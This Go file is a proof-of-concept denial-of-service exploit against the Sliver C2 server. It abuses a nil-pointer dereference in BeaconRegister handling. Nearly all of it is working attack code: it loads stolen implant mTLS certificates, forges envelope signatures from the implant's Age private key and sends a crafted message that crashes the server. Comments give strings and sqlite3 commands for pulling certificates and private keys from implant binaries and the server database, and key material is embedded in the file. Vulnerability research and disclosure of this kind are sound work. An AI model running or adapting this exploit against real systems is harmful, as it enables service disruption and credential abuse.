/* * Author: Skove (Anas) * Sliver - Protobuf Deserialization "Kill-Switch" DoS PoC * Vulnerability: Nil-Pointer Dereference in BeaconRegister (CWE-476) * Impact: Full Process Termination (SIGSEGV) of Sliver Server * * This PoC demonstrates how an attacker with access to a captured implant * can crash the entire C2 infrastructure by omitting nested Protobuf fields. * * Replace c2Endpoint, clientCertPEM, clientKeyPEM, and peerPrivateKey with the values from a valid implant. */ package main import ( "bytes" "crypto/ed25519" "crypto/sha256" "crypto/tls" "encoding/binary" "fmt" "io" "log" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/hashicorp/yamux" "golang.org/x/crypto/blake2b" "google.golang.org/protobuf/proto" ) var ( c2Endpoint = "127.0.0.1:8888" // The mTLS certificate and key are required to establish the TLS handshake. // RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12 // FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT certificate_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;" clientCertPEM = []byte(`-----BEGIN CERTIFICATE----- MIIBoTCCAQKgAwIBAgIQSkd9rTWFkBvOK5tVaYigrDAKBggqhkjOPQQDBDAAMB4X DTI1MDMxMDAzMzUzMVoXDTI3MDMxMDAzMzUzMVowFjEUMBIGA1UEAwwLRlVOTllf VklSVVMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATJB1ENIgoSoWWt/CiyjytR ZuBUN/LokcLuq0BOuoUr9MxhzR4hK0ZYPQHnfY1IxGvGDn6LsyWQMv6iLhL5mze3 o0gwRjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0j BBgwFoAUq0iOdVkSdrFy63RqMILqL5u5w+swCgYIKoZIzj0EAwQDgYwAMIGIAkIA +F91KxYlI3Tc11n8MuGv5wPoB1FmgfWXxhQqqK7JtnxZQLyDFw1TpXtrbsKuEyB6 TUBjIDeWozb8Anc59P9K+xsCQgC6YhpAcrBoeKdXHkP77ZgPilBcqo691GP1ybuT DiIqahjrOlzShzjkUO/59I1sDlMY9E+yVO/fD8M95b30k26azA== -----END CERTIFICATE-----`) // RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/' // FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;" clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY----- MHcCAQEEIJGHtKVHvcHt91+n0avQPUWf9bNKmjKnDn8XZC5o72yRoAoGCCqGSM49 AwEHoUQDQgAEyQdRDSIKEqFlrfwoso8rUWbgVDfy6JHC7qtATrqFK/TMYc0eIStG WD0B532NSMRrxg5+i7MlkDL+oi4S+Zs3tw== -----END EC PRIVATE KEY-----`) // The Implant's Age identity string (peer_private_key) // RUN: strings /path/to/implant_binary | grep -oP "AGE-SECRET-KEY-1[A-Z0-9]+" // FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT peer_private_key FROM implant_builds LIMIT 1;" peerPrivateKey = "AGE-SECRET-KEY-1GFLJDX025KJCZCG6C7Y3X4NCPVV7MQD7KAZY2CUZ82E9QS4LVFDSDH7USV" ) // GenerateImplantSignature replicates Sliver's `lookupImplantSigKey` deterministic Ed25519 generation. // Over mTLS, the implant does not have a separate database Minisign private key. // Instead, it deterministically generates it by SHA256 hashing the Age `peer_private_key`. func GenerateImplantSignature(peerPrivateKey string, data []byte) []byte { seed := sha256.Sum256([]byte("env-signing-v1:" + peerPrivateKey)) priv := ed25519.NewKeyFromSeed(seed[:]) pub := priv.Public().(ed25519.PublicKey) digest := blake2b.Sum256(pub) keyID := binary.LittleEndian.Uint64(digest[:8]) sigBuf := make([]byte, 74) binary.LittleEndian.PutUint16(sigBuf[:2], 0x6445) binary.LittleEndian.PutUint64(sigBuf[2:10], keyID) copy(sigBuf[10:], ed25519.Sign(priv, data)) return sigBuf } const YamuxPreface = "MUX/1" func main() { // 2. STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS) ======================== fmt.Println("[*] Loading extracted Implant certificates...") cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM) if err != nil { log.Fatalf("[-] Failed to load client cert: %v", err) // maybe you are using the wrong key // RUN: strings /path/to/implant_binary | grep "BEGIN CERTIFICATE" -A10 // and take the second key, not the first } tlsConfig := &tls.Config{ Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true, } fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint) conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig) if err != nil { log.Fatalf("[-] TLS Connection failed: %v", err) } defer conn.Close() // 3. STAGE 2: INITIATE YAMUX MULTIPLEXING =============================== fmt.Println("[*] TLS Established. Sending Yamux preface...") conn.Write([]byte(YamuxPreface)) session, err := yamux.Client(conn, nil) if err != nil { log.Fatalf("[-] Failed to stat Yamux session: %v", err) } defer session.Close() stream, err := session.Open() if err != nil { log.Fatalf("[-] Failed to open Yamux stream: %v", err) } defer stream.Close() // 4. STAGE 3: CONSTRUCT THE MALICIOUS CRASH PAYLOAD ======================== fmt.Println("[*] Constructing malicious BeaconRegister payload...") // ROOT CAUSE: sliver/server/handlers/beacons.go:70 beacon.Name = beaconReg.Register.Name // The server attempts to access 'beaconReg.Register.Name' without verifying if 'Register' is nil. maliciousBeaconReg := &sliverpb.BeaconRegister{ ID: "11111111-2222-3333-4444-555555555555", Interval: 60, // Register: nil, <--- This is the trigger } maliciousData, err := proto.Marshal(maliciousBeaconReg) if err != nil { log.Fatalf("[-] Marshal failed: %v", err) } env := &sliverpb.Envelope{ ID: 0, Type: uint32(sliverpb.MsgBeaconRegister), Data: maliciousData, } envBytes, err := proto.Marshal(env) if err != nil { log.Fatalf("[-] Envelope Marshal failed: %v", err) } // 5. STAGE 4: BYPASS ENVELOPE SIGNING ====================================== fmt.Println("[*] Signing payload deterministically with Age Private Key...") rawSig := GenerateImplantSignature(peerPrivateKey, envBytes) if _, err := stream.Write(rawSig); err != nil { log.Fatalf("[-] Failed to send signature: %v", err) } // 6. STAGE 5: DELIVER AND CRASH ========================================= fmt.Println("[*] Delivering length prefix and malicious payload (Unrecovered Goroutine DoS)...") dataLengthBuf := new(bytes.Buffer) binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(envBytes))) stream.Write(dataLengthBuf.Bytes()) stream.Write(envBytes) fmt.Println("[+] Exploit sent! Because mTLS spawns raw goroutines via Yamux without a recover() block...") fmt.Println("[+] The Sliver C2 Server binary has completely crashed! Check `systemctl status sliver`.") io.ReadAll(stream) }